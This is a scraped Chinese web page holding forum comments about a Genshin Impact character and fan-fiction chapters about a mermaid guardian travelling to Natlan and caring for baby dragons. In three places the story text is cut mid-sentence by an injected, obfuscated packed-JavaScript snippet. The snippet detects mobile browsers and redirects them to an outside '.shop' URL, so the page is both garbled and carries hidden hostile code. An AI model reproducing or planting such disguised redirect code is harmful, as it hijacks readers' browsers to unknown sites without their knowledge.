那维莱特在海沫村弄的小型法庭也很搞笑,但是有点虐。因为如果鱼怕痛就会被那维莱特正式转化为人类,然后进入梅洛彼得堡服刑。但是鱼忍着痛再次变回来了,证明变为人类是水族幻形天赋的体现,和纯水精灵差不多,这个在枫丹是有律法保护的,所以不属于有罪,三言两语很难解释清楚,建议去做鱼的传说任务。 14L 说简单点就是枫丹律法禁止将任何物种转化为人类,但是如果这种转变可逆,可以再变回去,就有的商量。另一条律法是尊重枫丹水族幻形天赋,卡吕普迪斯变人又变回鱼,就是向审判官证明自己的变化是可逆的,是属于水族天赋的一种,所以他不用进梅洛彼得堡打螺丝。 顺带一提,这个转化极其痛苦,旅行者和那维莱特都说过就像是受刑。人鱼的尾巴只有一条脊骨,变成人需要把下半身血肉和骨骼完全重构……可以想象一下,不亚于活体凌迟。 15L 我嘞个杀鱼啊。 16L 鱼不都是活杀最新鲜吗?谁吃死鱼啊 17L 我嘞个地狱知识点 18L 卡吕普迪斯这家伙怕冷又怕热,皮薄骨脆,福勒依斯亲口验证最怕痛。但是他能够忍着痛接受转变,然后进入你的卡池你的队伍任由你操控,每开一次战技,就有一条鱼痛到半死不活…… 19L 这就是他战技持续期间游出范围扣一半血的真实原因吗?剧情和游戏联动上了哈。 20L 我,我自首。昨天抽到他之后带他去雪山带萌新,听到他说冷求饶我还在原地等萌新过来开火柱子,结果硬生生把他冻死了……而且他还说“到安全的地方去吧……” 我真该死啊我,流泪.jpg 21L 我嘞个杀鱼大师啊 22L楼主 我就一会没看手机,怎么就到了杀鱼环节? 23L 说真的,我觉得鱼有种介于成熟和幼稚之间来回跳动的感觉。有时候他就一本正经的念技能台词,有时候就会很俏皮的说晚安咯。还有挨打的时候,一开始还是一本正经的有点难办,糟糕了之类的,后来不知道为什么破罐子破摔一样,喊打死他打死他……幻视我和大佬联机打游戏,我被野怪欺负看到大佬来了就煽风点火让他帮我报仇……还有加入队伍的语音,明明能说“新的故事开始了”这种很正经,很有格调的话,他有时候会蹦出来一句“我来咯~”,就感觉哎嘿附体一样你们懂吗? 24L 我也发现了,今天下本刷圣遗物,因为队伍里没带奶妈打了几次后血量都危险了,我就让他站场扛了一下伤害,血条变红之后突然听见一句打死他打死他,我还以为我室友timi跟队友喊麦呢,结果发现不是。我当时就:卡吕普迪斯你在搞什么飞机? 25L 笑死了,文案策划以为他这样很幽默吗?但是确实成功取悦到我了 26L 4.3活动剧情和千织传说任务他都有出场,感觉在狠狠弥补主线缺失的剧情份量。在其他角色面前他完全就是那种分外可靠的大家长形象,但没想到私底下是这样的 27L 也不是说私底下就不可靠啦,主要还是看对什么人吧。枫丹角色很多在他看来都是小孩,他的角色语音评价里对其他人的称呼也都是小姑娘孩子之类的,咱们抽到他,跟他混熟以后,自然就会活泛一些。你看他和福勒依斯之间就是这种活泼有趣的状态。 主要还是缺少同龄人玩伴吧。 28L 突然想起来,枫丹如今还活跃的,跟鱼年龄相差不大的长生种好像也就那维莱特和福勒依斯两个吧?福勒依斯还住在沉玉谷。等于鱼在这个除了那维莱特的所有人面前都要表现的成熟稳重值得信赖,因为他是大守护者。 29L 我靠,从未设想过的解读 30L 而加入旅行者队伍后,他像找到了新朋友一样逐渐活泼起来。所以哪怕主基调是沉稳的,但有时候又会表现出小年轻特有的娱乐倾向 31L 千岁的小年轻…… 32L 对于长生种来说,千岁还真的不算什么。美露莘平均五百多在他们眼里都还是小朋友,那维莱特也是小水龙,我们卡吕普迪斯是一条小鱼怎么了?魈上仙两千岁打底都是帝君的好大儿呢! 33L 你别说,你还真别说,是那个意思嚯 34L 他在那维莱特面前也不一定就多么像小孩,鱼体会感情的经历要比龙更早一些,从龙进入枫丹廷后他就知道对方必然要经历生死以及寿命的折磨。所以鱼对龙其实也是保护多于被保护的 35L 你说的体会情感更早一些,是指他当初养的两个人类小女孩吗? 36L 塔塔和秋秋吗?这两个一个比一个刀啊 37L 在哪看啊? 38L 角色故事里有写卡吕普迪斯过去养孩子的经历。“海中的人鱼对于时间的感知并不敏锐,甚至称得上迟钝。他以为只是短暂的离别,距离下一次再见的日子不会很远。可是对于人类来说,日月流转本身就是一种生命的消逝。他不明白为什么小妹妹那么快就垂垂老矣,他躺在小小的土坡上,好像依偎在一起看日落的事就发生在昨天。” 39L 我要哭了…… 40L 他要过很多很多年才能明白人类的寿命短暂异常,所以才会说“人类的寿命是如此短暂,却轻易的许诺永远”,这是哪个孩子在懵懂时期对人鱼许愿永远在一起啊,流泪了 41L 孩子的感情最真挚了,鱼当年呆呆的,一定也是满心欢喜的信了吧。然后故地重游,发现孩子早就老死了,我靠!! 42L 这能说谁有错?谁都没有没错!长生种对时间不敏感,短生种还是孩子明白什么,我要闹了! 43L 等会我好感度还没拉起来,故事没有解锁。等我看完我再来帖子里回复。 67.大雨 静原花了将近一个月的时间在枫丹全境清除污秽,巩固边境线防御。浅海区和深海区中间用洋流隔绝,确保灾难真的到来那日,龙裔可以躲进深海避难。 然后他开始缩在海沫村着手写外出申请,期间扯掉了无数头发,给自己整成了鸡窝头。 芙宁娜不知道他的心情,只是见好久没看到他在枫丹廷闲逛,于是主动去找他,担心他出了什么事。 然后被这家伙眼下青黑吓了一大跳。 “你是做贼去了吗?好重的黑眼圈!”大明星芙宁娜女士对于皮肤保养和状态维持可是很在乎的,当即凑近了瞧,“哇塞——你现在的样子,好憔悴。” 能不憔悴吗? 距离旅行者出发去纳塔的时间越近,他越是焦虑。因为那维莱特几乎不可能允许他去纳塔——尤其是当他知道了未来会发生什么的情况下。 面对芙宁娜的关系,他也只是叹气:“最近遇到了很苦恼的事情。” “什么事?说出来或许会好受一点呢?”芙宁娜见静原目光游移,似乎明白了什么,“……难道是跟我当初一样的情况?” 静原注视着她,并不回答,也无动作。但这就是最好的回答了。 “哦不……”芙宁娜也开始头疼起来,虽然不明白发生了什么,如果是和她当年一样的情况那就足够糟糕了,“那维莱特知道吗?以你们的关系,获得他的帮助应该轻而易举吧?” 静原又忍不住搓脑袋:“难点就在这,他知道我要做什么,但是不会允许我去做的。” 他不是没有试探过那维莱特的口风,对方说会以沫芒宫审判官身份给火神写信提防深渊,卡吕普迪斯你不用去支援。 支援的话,很有可能死在那里然后重蹈覆辙——你以为那维莱特难道就不恐惧卡吕普迪斯变成[卡吕普迪斯]吗?自家看着长大的,辛辛苦苦一手拉扯大的乖乖小鱼,只是支援一次他国,不仅死了一次,回来后自己家也没了,一个人撑着最后一口气苟延残喘,无限愤恨萦绕心头。 你以为那维莱特就不心痛吗? 纳塔防线不能崩溃,无论静原是支援还是不支援,都有很大可能面临全境入侵的局面,除非纳塔撑得住。但那个几率太低了,低到那维莱特不敢抱有任何希望将眷属送过去。 芙宁娜不知道这些,她正在思考那维莱特不允许,但是卡吕普迪斯必须去做的事会是什么。 余光瞥见桌面上的申请公文,一个馊主意突然冒出头来。 芙宁娜说:“你把申请提交到沫芒宫然后就去做,别管他允不允许。做完了等他秋后问斩也不后悔。” 静原:“啊?真的假的?”认真的吗?这真的是芙宁娜女士会提出来的建议吗? 芙宁娜认真道:“你想做的事,一定有你非做不可的理由。卡吕普迪斯,我相信你不会做危害提瓦特和枫丹利益的坏事,所以大胆去做,别管他同不同意。” “他不同意,你难道就不会后悔吗?” 芙宁娜的反问掷地有声,静原咬咬牙:“有道理。” 这无疑是一剂强心剂,静原拿着写好的申请报告,决定今晚沫芒宫下班前就送到那维莱特案上。 “我去送。”芙宁娜说,“既然已经决定好了,这一步就交给我吧。”减少和那维莱特直接碰面的情况。 静原有些担心:“你不是很不好意思再见他的吗?”也不好意思踏入沫芒宫区面对曾经的属下们。 芙宁娜收好那份申请,然后注视着人鱼的眼睛:“卡吕普迪斯,从前没有人能帮我,这次我希望能帮到你。” 虽然这个帮助微不足道,可是就像你当初用小蛋糕和行动宽解我焦虑和恐惧的行为一样,我也希望自己能成为支撑你的动力之一。 静原听懂了她的未尽之意。 当天下午,枫丹全境都在下雨。芙宁娜打着伞磨磨蹭蹭走入沫芒宫,在美露莘和职员们惊喜的目光注视下,干咳两声:“下午好啊各位,那维莱特在吗?” 她背后是昏暗的天空与闪烁的雷光,阴云压境,分外可怖。 小小的塞德娜迎面走过来:“下午好,芙宁娜大人,那维莱特大人正在办公室工作,需要我为您通传吗?” “咳咳……”芙宁娜差点被自己的口水呛死,“好吧,麻烦你了塞德娜。” 沾着雨水的鞋子踩上厚厚的毛绒地毯,水渍被吸收,很快她走进曾经来过无数次的最高审判官办公室,面对的就是没有伏案工作,而是平静注视着她的那维莱特。 那维莱特神色平静的注视着莫名其妙做贼心虚的芙宁娜。 “下午好啊那维莱特,最近过得怎么样?”芙宁娜反手关上门,显然不希望对话被第三人听到。 “下午好,芙宁娜女士。”那维莱特说,“请恕今天没有茶点招待你。” 芙宁娜磨磨蹭蹭靠近办公桌:“没事,我也不是为了吃茶点才来的……” “芙宁娜女士。” “嗯?!”她被吓了一跳,不知道今天见那维莱特为什么如此一惊一乍,只能归类于自己的做贼心虚。 那维莱特那双琉璃色的眼睛里没有什么光亮,平静得就像一潭死水:“你可以直接把申请交给我,不用担心我会阻拦。” “……你为什么会知道?”芙宁娜惊讶,“你不会阻拦,那为什么卡吕普迪斯他——” “他已经动身离开了枫丹,去到了纳塔的地界。那里不欢迎外来龙的进入,我追不上,自然也阻拦不了。”那维莱特说这些的时候眉毛都没有动弹一下,“人鱼全力前进的速度很快,大概你走到枫丹廷的时候,他正在穿越沙漠。” 芙宁娜呐呐道:“我不知道他要去的是纳塔,我还以为……” “这不是你的错,也不是他的错。这是我的过失。”那维莱特接过那份申请,直接翻到最后一页上签署自己的大名,盖上沫芒宫公章和最高审判官私章。至此,大守护者离开枫丹去往纳塔就是合法的,有沫芒宫背书的行为。 “那维莱特……”芙宁娜听到了沫芒宫外越来越大的雨声,连室内的灯光都驱散不了的阴沉昏暗,她想起枫丹那条流传甚广的童谣,“你在哭吗?” 那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14174883|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 维莱特只是沉默。 龙王和眷属之间的联系最为紧密,卡吕普迪斯的心脏与那维莱特的心脏有一条无形的丝线联通,于是不管卡吕普迪斯在枫丹哪里,那维莱特都能找到他,距离越近,他听到的属于眷属的心跳声就愈发清晰。可如果离开枫丹,或是被吞星之鲸吞入腹中,那条线的联络就会断开。他必须动用古龙大权才能知晓眷属身在何处,情况是否安好。 小鱼离开了生养他的海洋,海当然第一时间就发现了。怎么可能瞒得过呢? 小鱼知道,但他还是这么做了。 “哇……枫丹下了好大的雨。” 从蒙德回到枫丹海露港的旅行者和派蒙躲在同一把伞下,仰头看密密的乌云遮盖天空,放眼望去几乎看不到乌云的尽头,豆大的雨珠溅落,在海面上留下一道又一道的涟漪。 派蒙被迎面吹来的海风冻得发抖,趴在旅行者肩上卷着金发取暖:“等下坐船离开枫丹吧。” “好。” 这样大的雨真是少见,旅行者本来还想和枫丹的朋友们好好告个别,不过看来海露港这边没什么人会来的。补给结束就可以出发吧。 谁料夏洛蒂,琳妮特,娜维娅和芙宁娜四个人都来送他了。 旅行者和派蒙又惊又喜:“你们怎么知道我们在这里?” 夏洛蒂晃了晃留影机:“不要小瞧我作为职业记者的信息处理能力呀。大名鼎鼎的旅行者离开蒙德一路前往枫丹,下一站自然就是纳塔了,我们当然得来送送你呀。” 娜维娅举着她的小洋伞:“可惜今天天气不好,不然刺玫会就能在这举办一个欢送大会了。” 派蒙连连摇头:“不了不了,那样更可怕。” 娜维娅哈哈大笑,倒是琳妮特看向旅行者:“哥哥和菲米尼他们有任务要做,抽不开身,托我向你问好,以及送别。” 旅行者自然理解。 旁观的芙宁娜悄悄叹气,那维莱特从昨天下午哭到现在,雨压根没停过,要不是知道不会再有水淹枫丹的诅咒了,她也会提心吊胆灾难重演的。 “芙宁娜,你好像有心事?”旅行者看向唯一没说话的芙宁娜,有些关心她。 芙宁娜感受着雨滴的冰冷,注视着异乡人的面容和阴暗天色下也未曾灰暗半点的金瞳:“我的事好说,但是旅行者……我只能祝你一路平安,纳塔……说不定会有惊喜等着你。” 旅行者迷茫的挠挠头,显然没往静原去阻拦深渊灾厄的方向想,他以为人鱼这时候在海里。 倒是派蒙没心没肺的笑起来:“那就借你吉言啦,纳塔的旅行也一定是顺顺利利的。” 旅行者想到了什么,他们旅行了五个国家开头都没有顺利过好吗:“快别说了派蒙,你这个乌鸦嘴。” 吓得派蒙连忙捂嘴。 最后在海露港有建筑物遮风挡雨的内里拍了一张合照留影,以此纪念枫丹之行的顺利结束。 纳塔会有什么呢?许久没见的妹妹、蠢蠢欲动的深渊、各色各样的龙类、正在酝酿的阴谋? 旅行者忐忑的期待着。 68.拐龙咯 静原蹲在纳塔六部族之一的〔回声之子]外面,逗弄一只棕背黄腹的小岩龙。用纳塔人的话来讲,这个小家伙是嵴峰龙。 也许是同为龙众,小家伙对他的气味虽然感到陌生,但也没有第一时间表露敌意,而是歪着脑袋打量着他,结果头重身子轻,踉踉跄跄差点给自己摔倒。 静原一乐,干脆掐腰将小嵴峰龙举起来:“你是谁家孩子?怎么孤零零的跑外边来了?” “噶?哇,哇哇——”小嵴峰龙被腾空举起来也不害怕,甚至拍了拍肚子,说了些人类根本听不懂的话。不过我们静原是谁,通晓百兽的语言,龙族通用语也不是不会,纳塔这边龙众的语言顶多就是方言的一种,也不是没有龙说官方通用语,所以静原依旧听得懂。 “你是说,你是要给巴茨*采树莓才跑出来的?”静原听到了小嵴峰龙在念叨这个陌生的名字,还以为是它家长,“因为巴茨很辛苦,所以想给他采好吃的树莓……哦——乖宝宝~” 静原看到了遇到小嵴峰龙的地方散落的两颗黄澄澄树莓,心底一片柔软,连忙将孩子放下来:“好孩子,去忙吧,注意安全。” 要不是这家伙突然冒出来逗小孩,人家早找完树莓回去了。 可是小嵴峰龙不知道这些,它揣着那两颗树莓,仰着头对蹲下来的奇怪大家伙说:和我一起回去吧,你见到巴茨和他的人类朋友,就可以在大地上行走了。 哦,原来巴茨是个人类。 不过小家伙这意思是,要获得当地人允许才能在纳塔自由活动吗?毕竟之前那维莱特也说过,纳塔不欢迎外来龙……静原觉得自己可以一试,于是跟着钻地行动的小嵴峰龙走向岩间的部落。 这个着装与纳塔格格不入的外乡人的到来,当然引起了回声之子部族人民的注意,不过在看到他身前的龙伙伴后,警惕心瞬间降了一半之多。 那是……巴茨家的小嵴峰龙吧?大家这样想着,就看见这个奇怪的,蓝头发高马尾,不穿鞋的大高个被钻出来的小嵴峰龙一步三回头的领着走过桥,一路和无数成年或者亚成年的嵴峰龙哇哇呀呀的打招呼,然后走到了一脸懵逼的回声之子小龙保育员巴茨面前。 部族首领都看呆了。 回声之子部族人民和嵴峰龙是好伙伴,彼此天然信任,因此,当静原因为获得了小嵴峰龙的信任而被大量嵴峰龙信任后,回声之子部族人民也在不知不觉中接受了这么一个陌生人堂而皇之的站在了部族聚集地腹地…… 小嵴峰龙蹭了蹭巴茨的小腿,将两颗大大的树莓交给蹲下来的巴茨,然后拍拍肚皮,颇为得意。又对着巴茨和静原两人啊啊哇哇叫一通,蹲在树桩子上的成年嵴峰龙站了起来,注视着静原,好半天才哼了一声,倒也没有表示敌意或者驱逐的意思。 巴茨一脸懵的看着静原:“你、你好?” 静原挠挠头:“你好……我是刚来纳塔的旅人,卡吕普迪斯。受这孩子邀请,来部族拜访。” 尴尬在二人以及周围旁观的人群中弥漫。 最后静原破罐子破摔:“巴茨先生,可否请您代为引荐部族的主事人?我有些事想同他交谈。” 巴茨愣愣点头。 最后静原见到了回声之子的部族首领帕加尔,同他讲明自己是枫丹的卡吕普迪斯,来纳塔处理可能会发生的深渊威胁。本来以为这种跟诅咒人家家里造难也没区别的话会被不明真相的主人家一扫帚打出去,谁知道帕加尔墨镜也难以遮掩的睁大了眼睛,直接握住了他的手,感谢枫丹的好意,以及枫丹与纳塔友谊长存,最后更是打包票说纳塔欢迎一切友善的客人。 静原被这样真挚的热情吓得想打嗝,好半天才询问:“我以为帕加尔先生会对我的身份更慎重一些?” 不要别人说什么都信啊你这个人类! 帕加尔说:“纳塔人几乎不外出,但其他国家的人常来纳塔造访,回声之子是不可绕过的第一站。我作为部族首领,见过很多枫丹的旅人,他们同我们聊起家乡时,除了广袤的海洋,几乎每个客人都会提到卡吕普迪斯这个名字。讲起他们的守护着是如何庇护他们的……我想,对于枫丹人来说,【卡吕普迪斯】就是活着的古名吧。” “尤其当我听说,枫丹的卡吕普迪斯曾在五百年前以身抗击深渊的入侵……对纳塔人来说,只要是为抗击深渊奋斗的人,就都是我们的战友,是我们的英雄。”帕加尔看着这个和枫丹旅人描述中一般无二的蓝发青年,目光柔软,“何况纳塔如今……并不和平,深渊仍旧虎视眈眈,卡吕普迪斯先生说自己是为抗击深渊而来,我们信。” 静原:…… 静原欲语泪先流:崽子们,你们到底在家外边怎么吹的我啊? 枫丹旅人:哎嘿~ 静原的身份用他意想不到的理由(?)在纳塔过了明路,在回声之子部族暂居这几天,帕加尔已经传信给火神玛薇卡,这下纳塔最高话事人也知道隔壁国家都二把手来帮忙了,回信表示热烈欢迎,以及邀请他参加不日后的归火圣夜巡礼,静原当然应下。 纳塔,真是个热情的国家啊。 第二天静原在回声之子部落的旅店房间醒来,仰躺着看天花板,伸手往床下一捞,捞上来一只胖嘟嘟的小嵴峰龙。 正是之前给巴茨采树莓的那个小家伙,名字叫托托。 “早上好,托托。” “呜呜~”早上好啊,怪怪的龙。 “我不是龙,我是鱼。” “呜哇!”那怪怪的鱼龙,早上好。 静原揣着托托出门的时候,正好遇见到处找孩子的巴茨,理所当然的把孩子交还给快要哭出来的养龙人,然后去吃早饭。 纳塔的早饭挺好吃的,就是不知道为什么本来只有他一个人吃饭,后来身边凑过来的小小嵴峰龙越来越多。 “呜呜~” “噜噜~” “呼呼~” 往嘴里塞粒果肉汤的静原不低头都知道这群小家伙凑在他身边大声嘀咕着些什么,不过因为太可爱了,所以他并不驱赶,反而加了一份龙龙饼干拿来喂小朋友。 请注意,是人类小朋友。 一群回声之子的孩子聚集在小小的美食摊边,看好多好多的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14183908|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小嵴峰龙们围着这个异乡的大哥哥亲昵不已,心里好羡慕。 切妮是个短头发的小女孩,接过静原给的饼干后大大方方道谢,然后顶着小龙们一脸惆怅:“要是我也可以养龙就好了。” 静原好奇:“不能养吗?”他看纳塔人家里几乎都会有龙伙伴啊。 其他小朋友一边啃饼干一边回答:“要等我们长大了,获得了自己的名字后才能带小龙回家。这是爸爸妈妈说的,他们都这样说。” 切妮想起来又是一阵伤心:“部族里所有小龙都被我带回家过,可是很快它们又会回到自己的伙伴身边。果然,要有自己的名字才能有自己的龙伙伴。” 静原听得一脸懵。 小嵴峰龙们七嘴八舌回答:“小小的切妮,小小的人类,很脆弱,要长大。” “有了名字,就会强大。”托托拍拍肚皮,“阿尤是这么说的,他的伙伴卡齐娜,就有名字。” 静原更懵了,还是受不了哈哈大笑的摊主向客人解释孩子们提到的名字是什么。是纳塔地区特有的一种称呼,【古名】。纳塔的英雄们的事迹以故事的形式流传至今,【古名】就是这些故事的标签,只要提起它就会让人联想起来那些由来已久的史诗*。 静原勉勉强强懂了,换到纳塔地区的语言环境里,终于理解小朋友和小嵴峰龙们说的是什么。 “挺好的,龙与人和谐共生,我在其他国家没遇见这种情况。”静原有些感叹。 摊主好奇:“可我听说,枫丹也是龙裔众多的国家啊。” “枫丹的话,难说。”静原表情不变。 毕竟厄里那斯复活会让枫丹人将仇恨对准美露莘,但他相信纳塔的火龙王复活,纳塔人不会对身边的龙伙伴下手。 吃完早饭,静原就被一众小嵴峰龙拥簇着走出部族领地,去外边的高山上看看风景顺便散步。刚挖完矿回来的卡齐娜正好路过这只诡异的队伍,挠挠头,什么也没有说,反倒是回到部族后看着巴茨对几只成年嵴峰龙长吁短叹。 卡齐娜:我不在的时候,都发生了什么? 巴茨:异乡的客人把我养的小龙们拐跑了呜呜呜—— 在纳塔也依旧带孩子的静原身后凑了一堆打滚的小嵴峰龙,脚步一停就会滚到他脚边蹭一蹭,然后晃晃肚皮:“哇——” 静原心情好的时候就会蹲下来挠挠小龙们的肚皮,挨个摸摸头。 “我的魅力是不是太大了?纳塔的小龙这么喜欢我吗?” 小嵴峰龙们蹭蹭他的手掌心或者小腿。怪怪的鱼不知道,他身上有一股暖洋洋的,被阳光照射的清水的气味。那是与纳塔的山岳不同却相似的温和与博爱。 有哪个小崽子会拒绝在阳光照射的温暖浅池里打滚呢?有哪个生物会拒绝一汪亮晶晶的清水呢?有哪个小龙会拒绝一个养龙熟手,听得懂它们话的保育员呢?清洁、喂食、散步、挠痒痒、做游戏,怪怪的鱼什么都知道哦! 巴茨不甘心:我输在了哪里?! 托托拍拍肚皮:你放心,巴茨,我心里有数,我跟他是假玩,跟你才是真玩。 69.龙与人 静原带着一群小嵴峰龙走遍了回声之子部族周边地带,在浅水滩给几个脏孩子摁住搓搓澡挠挠痒,采集一些新鲜颗粒果投喂,找到了几处还未发育完全的深渊裂隙,然后提起棒子打碎掉,危险暂时解决。 事后他同帕加尔低语了一番,让这位首领与其他部族通个气,外出一定要注意安全。 把搓白白洗香香的小嵴峰龙们送回各自家中,累得静原小吃摊吃了两大份夹心土豆泥,最后还要来份粒果杯溜溜缝。 【无论在哪里,工作都没有带孩子消耗精力。 ——专业保育员,卡吕普迪斯】 巴茨照顾的几只成年嵴峰龙平静的注视着静原吃饭的背影,心想累是当然的,它们嵴峰龙带孩子搓澡都是让小崽子钻地里打滚。高温也可以灭菌杀毒清洁皮肤,怎么不算洗澡呢?算了,从水走向陆地的鱼龙爱干净也是正常的。 等静原来给它们两个挠痒痒梳理脊背死角后,它俩也不觉得鱼爱干净自找麻烦了。 哎哟舒坦~ 静原扭头对巴茨道:“其实你知道的不比我少,只是有时候它们感觉到的和距离表现出来中间有一段时间,到你理解也需要一定时间。语言不通是物种间的常态,但它们都很喜欢你,说明你很了解它们,也在用心爱它们。” 巴茨自打知道这位客人并不是人类后,对于家里的小龙变心也有了一定接受程度,谁知道客人居然这样解释他们照顾孩子受欢迎程度不同的差异,老实说巴茨还挺感动的。 “那卡吕普迪斯,你照顾小龙多久了啊?枫丹也有可爱的龙伙伴对吧?我能向你请教更多的育龙心得吗?” 静原挠挠成年嵴峰龙的下巴:“大概,一千年打底。不过它们大多数没纳塔的龙可爱,很淘气,皮糙肉厚的还不怕挨打。” 他不是很想回想那些年被鲸群小崽子和天生头铁的水龙蜥闹得额角青筋直冒的时光…… 巴茨直觉卡吕普迪斯带孩子并不都是如此慈爱的。 “你想学的话,我教你。”静原看向这个深肤色的青年人,“比如较为简单的龙族通用语。” 这是人类可以学的知识吗?巴茨的眼里写着这句话。 静原表示他传授的是较为简单的通用语,放在纳塔这个大环境里,就相当于教授小学三年级英语单词词汇和入门级别语法那样——和小嵴峰龙沟通完全够用了。 很快学习初见成效…… “托托!我就知道你这个挑食的孩子把自己那份玉米全都给尼尼了!” 正在和宝石铺家尼尼大声密谋互相解决不爱吃食物,被抓了个正着的托托惊得一回头:“哇!” “你还哇!”巴茨气不打一处来,“尼尼不喜欢生菜,你不喜欢玉米,正好吃饭的时候互相解决了对吗?” 他正奇怪为什么营养餐喂下去没有什么成效,托托爪子还是软,尼尼皮肤还是干裂,原来是两个小坏蛋互相换了喜欢的饭! 穆胡鲁宝石铺的店主夏温隔着老远听见小龙饭堂的声响,回头一看见托托那个有名的小淘气包正在挨训,听完才知道还有自家尼尼的事。 经常跟尼尼玩的璃月宝石商人荆和本来正在吃饭,听到响声也不免发挥璃月人爱看热闹的天性,就发现尼尼这孩子和托托那个眼熟的小嵴峰龙面前摆着不同配比的食物,一个绿叶子菜蔬堆满,一个全是玉米土豆之类的粗粮谷物…… 荆和咋舌:“这营养能跟得上吗?” 托托兴奋的扭扭尾巴:“哇哇哇——”巴茨变聪明了! 巴茨嗓子快喊破了音:“托托!!!” 静原在旁边哈哈大笑。 旅行者,派蒙,还有他在纳塔结识的龙伙伴一起走入回声之子地界后,和光杆司令卡齐娜结识,然后在小姑娘热情的带领下游览回声之子著名特色。 在育龙中心看巴茨和静原两个人盯着挑食龙宝宝们吃饭的时候,卡齐娜亮晶晶的眼神让旅行者眼皮子直抽抽:“巴茨是我们部族有名的育龙人。那位叫卡吕普迪斯的客人从枫丹而来,最近一直帮部族照顾大家的龙伙伴,是个特别特别温柔又有趣的先生呢。” 卡齐娜脚边的阿尤扭扭尾巴,和旅行者的龙伙伴对视一眼:“哇——” 派蒙没注意到两个小家伙说了什么,揉揉眼睛然后盯着熟悉的蓝色背影一个劲猛瞧:“旅行者,我是不是被风沙迷了眼,出现了幻觉?” 旅行者艰难的咽下口水:“我觉得我也出现了幻觉……” 卡齐娜歪头:“唉?” 被成年嵴峰龙提醒有人盯着他看的静原起身,扭头就瞧见一个多月不见的搭档二人组:“哟,旅行者,派蒙,好久不见。” “卡吕普迪斯!”派蒙终于确定了这不是幻觉,兴奋的扑进静原张开双臂的怀中,“你居然也来纳塔了!” 静原搓搓小家伙的头,乐呵道:“来处理一些事。” “好久不见,卡吕普迪斯。”旅行者这会算是明白芙宁娜跟他说的惊喜是什么了,面上笑容更浓了些,“你还是和以前一样啊。” 简单对视后,两人都明白了对方的来意,然后就是向迷惑的卡齐娜解释他们早就相识。 卡齐娜点点头,笑容特别治愈:“大家以前都认识的话,那就更好啦。” 静原低头去看那只尾巴系上金红丝绸,额角有红色斑纹的小嵴峰龙:“这个孩子……叫阿兹特克*,对吧?” “咦?卡吕普迪斯你怎么知道我们给小龙取的名字……哦哦!是阿兹特克告诉你的吧?”派蒙想到静原这家伙通晓百兽的语言,倒也不那么奇怪了,“阿兹特克怎么了?” “这孩子身体算不上好,我对纳塔本地的情况不了解,建议你们等会去问问帕加尔。也就是回声之子部族首领。”静原摸摸阿兹特克和旁边凑热闹的阿尤的脑袋,端水端平,“那不是简单的食物弥补和医用治疗可以解决的。” 旅行者想起他们初见阿兹特克的地方,想起莫名其妙出现的深渊魔物,觉得卡吕普迪斯的猜测应该不会错。 卡齐娜也很在意这个陌生小嵴峰龙的身体情况,于是下一个介绍的当然就是帕加尔了。顺便了解到旅行者和派蒙是怎样的传奇冒险家,也约定好一起参加归火圣夜巡礼。 帕加尔和旅行者解释阿兹特克身体的时候,静原就在一旁静静的听着。 身体和力量不适配吗?越长大越是容易失控,直到走向毁灭的末路。 帕加尔讲完故事口干舌燥,卡齐娜贴心的送上一壶清水:“帕加尔叔叔,给。” “谢谢你,卡齐娜……好多了。”牌帕加尔擦擦嘴,看向静原,“卡吕普迪斯先生,我没想到您一眼就能看出这孩子身体的情况。就算是本地人的我,也是通过那孩子身体斑纹和古籍记载才知晓内情的。” “…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14195812|140426||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”静原没好意思说是因为阿兹特克的表情就是不舒服的表情,他查看过后才发现这孩子身体情况很糟糕。 以前伊黎耶的龙蜥崽子吃了不该吃的东西就是那种表情,哼唧哼唧的不舒服,难受也说不出口。 旅行者听说要进行什么仪式,通过试炼才可以解决龙伙伴的身体问题,那是一点都不带犹豫的,哪怕这条路前方没有成功的例子,但是他们自信可以走向终点。 倒是卡齐娜,她很快抱着阿尤跟在静原身后去看淘气包托托吃饭了。 “难怪托托的爪子总是软软的,没有阿尤那么锋利,原来是因为挑食,营养跟不上……”卡齐娜说着紧张起来,“卡吕普迪斯先生,那您看阿尤怎么样?身体有没有异常?” 显然这孩子已经把“卡吕普迪斯”同“龙医生”划上了等号。 静原和阿尤橙金色的眼睛对视,笑着摸摸阿尤的头:“它很健康,一看就受到了很好的照顾。” 卡齐娜这才放心,嘿嘿的笑起来。 到了归火圣夜巡礼那天,卡齐娜带着他们一起去圣火竞技场,途中有一头巨大的长颈角犀代步,卡齐娜介绍说:“他是托托,我的好朋友哦。” “托托?”静原疑惑,然后听到长颈角犀扭头对他叫了一声,似乎是在回应。 “嘿嘿,两个托托不一样啦。”卡齐娜笑起来,“但是都是我的好朋友哦。” 